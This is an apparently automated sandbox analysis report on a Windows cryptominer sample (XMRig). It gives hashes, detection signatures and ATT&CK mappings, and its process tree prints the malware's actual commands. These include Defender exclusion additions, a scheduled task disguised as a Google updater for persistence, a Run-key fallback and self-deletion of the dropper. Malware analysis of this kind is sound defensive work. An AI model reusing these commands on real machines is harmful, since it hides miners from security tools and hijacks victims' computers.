xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1687s
max time network
1784s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
16/01/2024, 20:08

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General

Target

RmJBfzgfbWELMdgn.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 748 created 1224	748	RmJBfzgfbWELMdgn.exe	11
PID 748 created 1224	748	RmJBfzgfbWELMdgn.exe	11
PID 748 created 1224	748	RmJBfzgfbWELMdgn.exe	11
PID 748 created 1224	748	RmJBfzgfbWELMdgn.exe	11
PID 704 created 1224	704	updater.exe	11
PID 704 created 1224	704	updater.exe	11
PID 704 created 1224	704	updater.exe	11
PID 704 created 1224	704	updater.exe	11
PID 2912 created 1224	2912	conhost.exe	11
PID 704 created 1224	704	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral3/memory/1732-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/1732-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2608	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
704	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
660	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/memory/1732-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/1732-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 704 set thread context of 2912	704	updater.exe	52
PID 704 set thread context of 1732	704	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	RmJBfzgfbWELMdgn.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2688	schtasks.exe
2924	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
820	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90e26680d148da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
748	RmJBfzgfbWELMdgn.exe
748	RmJBfzgfbWELMdgn.exe
1928	powershell.exe
748	RmJBfzgfbWELMdgn.exe
748	RmJBfzgfbWELMdgn.exe
2844	powershell.exe
748	RmJBfzgfbWELMdgn.exe
748	RmJBfzgfbWELMdgn.exe
748	RmJBfzgfbWELMdgn.exe
748	RmJBfzgfbWELMdgn.exe
2592	powershell.exe
704	updater.exe
704	updater.exe
1776	powershell.exe
704	updater.exe
704	updater.exe
1712	powershell.exe
704	updater.exe
704	updater.exe
704	updater.exe
704	updater.exe
2912	conhost.exe
2912	conhost.exe
704	updater.exe
704	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	704	updater.exe
Token: SeAssignPrimaryTokenPrivilege	820	WMIC.exe
Token: SeIncreaseQuotaPrivilege	820	WMIC.exe
Token: SeSecurityPrivilege	820	WMIC.exe
Token: SeTakeOwnershipPrivilege	820	WMIC.exe
Token: SeLoadDriverPrivilege	820	WMIC.exe
Token: SeSystemtimePrivilege	820	WMIC.exe
Token: SeBackupPrivilege	820	WMIC.exe
Token: SeRestorePrivilege	820	WMIC.exe
Token: SeShutdownPrivilege	820	WMIC.exe
Token: SeSystemEnvironmentPrivilege	820	WMIC.exe
Token: SeUndockPrivilege	820	WMIC.exe
Token: SeManageVolumePrivilege	820	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	820	WMIC.exe
Token: SeIncreaseQuotaPrivilege	820	WMIC.exe
Token: SeSecurityPrivilege	820	WMIC.exe
Token: SeTakeOwnershipPrivilege	820	WMIC.exe
Token: SeLoadDriverPrivilege	820	WMIC.exe
Token: SeSystemtimePrivilege	820	WMIC.exe
Token: SeBackupPrivilege	820	WMIC.exe
Token: SeRestorePrivilege	820	WMIC.exe
Token: SeShutdownPrivilege	820	WMIC.exe
Token: SeSystemEnvironmentPrivilege	820	WMIC.exe
Token: SeUndockPrivilege	820	WMIC.exe
Token: SeManageVolumePrivilege	820	WMIC.exe
Token: SeLockMemoryPrivilege	1732	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2844 wrote to memory of 2688	2844	powershell.exe	32
PID 2844 wrote to memory of 2688	2844	powershell.exe	32
PID 2844 wrote to memory of 2688	2844	powershell.exe	32
PID 2608 wrote to memory of 1220	2608	cmd.exe	34
PID 2608 wrote to memory of 1220	2608	cmd.exe	34
PID 2608 wrote to memory of 1220	2608	cmd.exe	34
PID 2592 wrote to memory of 992	2592	powershell.exe	39
PID 2592 wrote to memory of 992	2592	powershell.exe	39
PID 2592 wrote to memory of 992	2592	powershell.exe	39
PID 660 wrote to memory of 704	660	taskeng.exe	40
PID 660 wrote to memory of 704	660	taskeng.exe	40
PID 660 wrote to memory of 704	660	taskeng.exe	40
PID 1712 wrote to memory of 2924	1712	powershell.exe	47
PID 1712 wrote to memory of 2924	1712	powershell.exe	47
PID 1712 wrote to memory of 2924	1712	powershell.exe	47
PID 704 wrote to memory of 2912	704	updater.exe	52
PID 1736 wrote to memory of 820	1736	cmd.exe	53
PID 1736 wrote to memory of 820	1736	cmd.exe	53
PID 1736 wrote to memory of 820	1736	cmd.exe	53
PID 704 wrote to memory of 1732	704	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1224
- C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe
  "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2688
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2924
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1796
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:820
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2912
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1732

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:1220

C:\Windows\system32\taskeng.exe
taskeng.exe {BF5879E8-3217-4632-B510-7867E4BCC3D3} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:660
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
55KB

MD5
8886cf320af31c1f9b84e4efa0d32c64

SHA1
37e663ac43476d14f8814db850ea0bd08224a848

SHA256
a40e0bef6eaf56a7b5734fa8c371528fd5211e945b1b69c68c91b55aa38a18d0

SHA512
e14fbb88e05a07c7d17bb4b0da34ed00458e1be313c80e7028e2f1a3c9f92cdaa89e8d1cd7e64a04110e113353d82d7116cfb8c3868e1fa613b5a54a8cea8840

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.2MB

MD5
3f052bcad97c9902486c64fff3be9594

SHA1
26eade8af6bfeaab36f9d905f5ac82fee6942f11

SHA256
5f9e5e24b3e49418c566c12240b14319a4dea5a270b8eabd87cd4d3cddc6d156

SHA512
719aeb1b655e02bc24169b2a89c9c98e757b86b95d14c075399377de767c27d009834d250011e3543764dab649dfb44abaf2555b31fd9d31ebb751f1effc9689

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2025edb5ae9922dd8a0b161b508e2eaa

SHA1
861d64a06a90bad5f835d6cb0f4862181b9cabe3

SHA256
1d08cd7d497f8c2080e66a05a0e21bd309ef494a1f5d27763a39b646f512f632

SHA512
a5431d524466407ad1fb1987eb56567494d7d05af02295c6870c968512b9245a6cb8fb06ee7f34b2efb6a7d08273881f2e1c515756e24a917735124b94503c68

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
1.6MB

MD5
f0ad8c1a2562ef90494f4db92adfd0a5

SHA1
7bb40bca19d875792095c879167dac3ada88ae12

SHA256
b59eb82b035001ff73cef5b635177950d6f318d255579f122ff7e4582b8263a2

SHA512
9e0e540bbeb4968b2e1ac61d3987ac4a2dc020ca10b412bf703e2e33d31cee95f7c5268f4f3c08c7515bc642e0e4d86b10e99785a9e7b1f1907dc193fcccf155

Download Submit
memory/704-65-0x000000013F9E0000-0x000000013FBF1000-memory.dmp

Filesize
2.1MB

Download
memory/704-45-0x000000013F9E0000-0x000000013FBF1000-memory.dmp

Filesize
2.1MB

Download
memory/748-0-0x000000013F450000-0x000000013F661000-memory.dmp

Filesize
2.1MB

Download
memory/748-29-0x000000013F450000-0x000000013F661000-memory.dmp

Filesize
2.1MB

Download
memory/1712-57-0x00000000010F0000-0x0000000001170000-memory.dmp

Filesize
512KB

Download
memory/1712-52-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/1712-58-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/1712-56-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/1712-54-0x00000000010F0000-0x0000000001170000-memory.dmp

Filesize
512KB

Download
memory/1712-55-0x00000000010F0000-0x0000000001170000-memory.dmp

Filesize
512KB

Download
memory/1712-53-0x00000000010F0000-0x0000000001170000-memory.dmp

Filesize
512KB

Download
memory/1732-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-68-0x00000000002A0000-0x00000000002C0000-memory.dmp

Filesize
128KB

Download
memory/1732-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-80-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/1732-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-79-0x00000000002A0000-0x00000000002C0000-memory.dmp

Filesize
128KB

Download
memory/1732-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-66-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/1732-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-69-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/1776-46-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/1776-49-0x0000000000F90000-0x0000000001010000-memory.dmp

Filesize
512KB

Download
memory/1776-51-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/1776-50-0x0000000000F90000-0x0000000001010000-memory.dmp

Filesize
512KB

Download
memory/1776-47-0x0000000000F90000-0x0000000001010000-memory.dmp

Filesize
512KB

Download
memory/1776-48-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/1928-8-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/1928-10-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/1928-11-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/1928-9-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/1928-12-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/1928-6-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/1928-7-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/1928-5-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
